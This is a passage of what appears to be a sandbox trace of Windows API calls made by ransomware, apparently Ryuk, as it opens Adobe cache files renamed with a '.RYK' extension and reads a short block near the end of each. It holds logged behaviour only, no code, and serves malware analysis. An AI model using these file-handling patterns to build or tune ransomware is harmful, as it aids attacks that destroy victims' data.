	[0248.139] ReadFile (in: hFile=0x49c, lpBuffer=0x8d1f910, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d1f880, lpOverlapped=0x0 | out: lpBuffer=0x8d1f910*, lpNumberOfBytesRead=0x8d1f880*=0x19, lpOverlapped=0x0) returned 1
	[0248.139] CloseHandle (hObject=0x49c) returned 1

Thread:
	id = 2692
	os_tid = 0x2b88

	[0247.654] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0248.140] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c
	[0248.140] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x8eefb78 | out: lpFileSize=0x8eefb78*=138738) returned 1
	[0248.141] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x8eefb88 | out: lpFileSize=0x8eefb88*=138738) returned 1
	[0248.141] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.141] ReadFile (in: hFile=0x49c, lpBuffer=0x8eefbd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8eefb40, lpOverlapped=0x0 | out: lpBuffer=0x8eefbd0*, lpNumberOfBytesRead=0x8eefb40*=0x19, lpOverlapped=0x0) returned 1
	[0248.141] CloseHandle (hObject=0x49c) returned 1

Thread:
	id = 2693
	os_tid = 0x2d40

	[0247.654] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0248.142] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c
	[0248.142] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x901fa78 | out: lpFileSize=0x901fa78*=53474) returned 1
	[0248.142] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x901fa88 | out: lpFileSize=0x901fa88*=53474) returned 1
	[0248.142] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.142] ReadFile (in: hFile=0x49c, lpBuffer=0x901fad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x901fa40, lpOverlapped=0x0 | out: lpBuffer=0x901fad0*, lpNumberOfBytesRead=0x901fa40*=0x19, lpOverlapped=0x0) returned 1
	[0248.144] CloseHandle (hObject=0x49c) returned 1

Thread:
	id = 2694
	os_tid = 0x2b78

	[0247.655] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0248.145] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c
	[0248.145] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x914f818 | out: lpFileSize=0x914f818*=5410) returned 1
	[0248.145] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x914f828 | out: lpFileSize=0x914f828*=5410) returned 1
	[0248.145] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.145] ReadFile (in: hFile=0x49c, lpBuffer=0x914f870, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x914f7e0, lpOverlapped=0x0 | out: lpBuffer=0x914f870*, lpNumberOfBytesRead=0x914f7e0*=0x19, lpOverlapped=0x0) returned 1
	[0248.147] CloseHandle (hObject=0x49c) returned 1

Thread:
	id = 2695
	os_tid = 0x2b80

	[0247.655] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0248.147] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c
	[0248.148] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x925f878 | out: lpFileSize=0x925f878*=77762) returned 1
	[0248.148] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x925f888 | out: lpFileSize=0x925f888*=77762) returned 1
	[0248.148] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.148] ReadFile (in: hFile=0x49c, lpBuffer=0x925f8d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x925f840, lpOverlapped=0x0 | out: lpBuffer=0x925f8d0*, lpNumberOfBytesRead=0x925f840*=0x19, lpOverlapped=0x0) returned 1
	[0248.150] CloseHandle (hObject=0x49c) returned 1

Thread:
	id = 2696
	os_tid = 0x2ee4

	[0247.655] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0248.150] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c
	[0248.151] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x8c1fc78 | out: lpFileSize=0x8c1fc78*=1458) returned 1
	[0248.151] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x8c1fc88 | out: lpFileSize=0x8c1fc88*=1458) returned 1
	[0248.151] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.151] ReadFile (in: hFile=0x49c, lpBuffer=0x8c1fcd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c1fc40, lpOverlapped=0x0 | out: lpBuffer=0x8c1fcd0*, lpNumberOfBytesRead=0x8c1fc40*=0x19, lpOverlapped=0x0) returned 1
	[0248.153] CloseHandle (hObject=0x49c) returned 1

Thread:
	id = 2697
	os_tid = 0x3004

	[0247.656] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0248.154] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c
	[0248.154] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x939faf8 | out: lpFileSize=0x939faf8*=66498) returned 1
	[0248.154] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x939fb08 | out: lpFileSize=0x939fb08*=66498) returned 1
	[0248.154] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.154] ReadFile (in: hFile=0x49c, lpBuffer=0x939fb50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x939fac0, lpOverlapped=0x0 | out: lpBuffer=0x939fb50*, lpNumberOfBytesRead=0x939fac0*=0x19, lpOverlapped=0x0) returned 1
	[0248.156] CloseHandle (hObject=0x49c) returned 1

Thread:
	id = 2698
	os_tid = 0x3008

	[0247.656] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0248.157] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c
	[0248.157] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x95ffa58 | out: lpFileSize=0x95ffa58*=2962) returned 1
	[0248.157] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x95ffa68 | out: lpFileSize=0x95ffa68*=2962) returned 1
	[0248.157] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.157] ReadFile (in: hFile=0x49c, lpBuffer=0x95ffab0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x95ffa20, lpOverlapped=0x0 | out: lpBuffer=0x95ffab0*, lpNumberOfBytesRead=0x95ffa20*=0x19, lpOverlapped=0x0) returned 1
	[0248.159] CloseHandle (hObject=0x49c) returned 1

Thread:
	id = 2699
	os_tid = 0x300c

	[0247.657] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0247.816] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498
	[0247.816] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x970f5b8 | out: lpFileSize=0x970f5b8*=35394) returned 1
	[0247.816] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x970f5c8 | out: lpFileSize=0x970f5c8*=35394) returned 1
	[0247.816] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0247.817] ReadFile (in: hFile=0x498, lpBuffer=0x970f610, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x970f580, lpOverlapped=0x0 | out: lpBuffer=0x970f610*, lpNumberOfBytesRead=0x970f580*=0x19, lpOverlapped=0x0) returned 1
	[0247.818] CloseHandle (hObject=0x498) returned 1

Thread:
	id = 2700
	os_tid = 0x3010

	[0248.025] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0248.026] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498
	[0248.026] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x989f558 | out: lpFileSize=0x989f558*=138738) returned 1
	[0248.026] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x989f568 | out: lpFileSize=0x989f568*=138738) returned 1
	[0248.026] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.026] ReadFile (in: hFile=0x498, lpBuffer=0x989f5b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x989f520, lpOverlapped=0x0 | out: lpBuffer=0x989f5b0*, lpNumberOfBytesRead=0x989f520*=0x19, lpOverlapped=0x0) returned 1
	[0248.028] CloseHandle (hObject=0x498) returned 1

Thread:
	id = 2744
	os_tid = 0x30d8

	[0248.400] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0248.400] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0
	[0248.400] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x978f798 | out: lpFileSize=0x978f798*=53474) returned 1
	[0248.401] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x978f7a8 | out: lpFileSize=0x978f7a8*=53474) returned 1
	[0248.401] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.401] ReadFile (in: hFile=0x4f0, lpBuffer=0x978f7f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x978f760, lpOverlapped=0x0 | out: lpBuffer=0x978f7f0*, lpNumberOfBytesRead=0x978f760*=0x19, lpOverlapped=0x0) returned 1
	[0248.401] CloseHandle (hObject=0x4f0) returned 1

Thread:
	id = 2745
	os_tid = 0x30dc

	[0248.406] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0248.406] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0
	[0248.406] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x8ebfa98 | out: lpFileSize=0x8ebfa98*=5410) returned 1
	[0248.406] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x8ebfaa8 | out: lpFileSize=0x8ebfaa8*=5410) returned 1
	[0248.407] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.407] ReadFile (in: hFile=0x4f0, lpBuffer=0x8ebfaf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8ebfa60, lpOverlapped=0x0 | out: lpBuffer=0x8ebfaf0*, lpNumberOfBytesRead=0x8ebfa60*=0x19, lpOverlapped=0x0) returned 1
	[0248.407] CloseHandle (hObject=0x4f0) returned 1

Thread:
	id = 2746
	os_tid = 0x30e0

	[0248.411] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0248.412] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4
	[0248.412] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x8fbf638 | out: lpFileSize=0x8fbf638*=77762) returned 1
	[0248.412] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x8fbf648 | out: lpFileSize=0x8fbf648*=77762) returned 1
	[0248.412] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.412] ReadFile (in: hFile=0x4f4, lpBuffer=0x8fbf690, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8fbf600, lpOverlapped=0x0 | out: lpBuffer=0x8fbf690*, lpNumberOfBytesRead=0x8fbf600*=0x19, lpOverlapped=0x0) returned 1
	[0248.412] CloseHandle (hObject=0x4f4) returned 1

Thread:
	id = 2747
	os_tid = 0x30e4

	[0248.419] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0248.419] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4
	[0248.420] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x8d8fc78 | out: lpFileSize=0x8d8fc78*=1458) returned 1
	[0248.420] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x8d8fc88 | out: lpFileSize=0x8d8fc88*=1458) returned 1
	[0248.420] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.420] ReadFile (in: hFile=0x4f4, lpBuffer=0x8d8fcd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d8fc40, lpOverlapped=0x0 | out: lpBuffer=0x8d8fcd0*, lpNumberOfBytesRead=0x8d8fc40*=0x19, lpOverlapped=0x0) returned 1
	[0248.420] CloseHandle (hObject=0x4f4) returned 1

Thread:
	id = 2748
	os_tid = 0x30e8

	[0248.425] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0248.425] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc
	[0248.426] GetFileSizeEx (in: hFile=0x4fc, lpFileSize=0x91ef878 | out: lpFileSize=0x91ef878*=66498) returned 1
	[0248.426] GetFileSizeEx (in: hFile=0x4fc, lpFileSize=0x91ef888 | out: lpFileSize=0x91ef888*=66498) returned 1
	[0248.426] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.426] ReadFile (in: hFile=0x4fc, lpBuffer=0x91ef8d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x91ef840, lpOverlapped=0x0 | out: lpBuffer=0x91ef8d0*, lpNumberOfBytesRead=0x91ef840*=0x19, lpOverlapped=0x0) returned 1
	[0248.426] CloseHandle (hObject=0x4fc) returned 1

Thread:
	id = 2749
	os_tid = 0x30ec

	[0248.430] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0248.430] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500
	[0248.430] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x8c8f9b8 | out: lpFileSize=0x8c8f9b8*=2962) returned 1
	[0248.431] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x8c8f9c8 | out: lpFileSize=0x8c8f9c8*=2962) returned 1
	[0248.431] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0248.431] ReadFile (in: hFile=0x500, lpBuffer=0x8c8fa10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c8f980, lpOverlapped=0x0 | out: lpBuffer=0x8c8fa10*, lpNumberOfBytesRead=0x8c8f980*=0x19, lpOverlapped=0x0) returned 1
	[0248.431] CloseHandle (hObject=0x500) returned 1

Thread:
	id = 2750
	os_tid = 0x30f0

	[0248.441] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0248.442] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508
	[0248.442] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x90bf978 | out: lpFileSize=0x90bf978*=35394) returned 1
	[0248.442] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x90bf988 | out: lpFileSize=0x90bf988*=35394) returned 1
	[0248.442] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
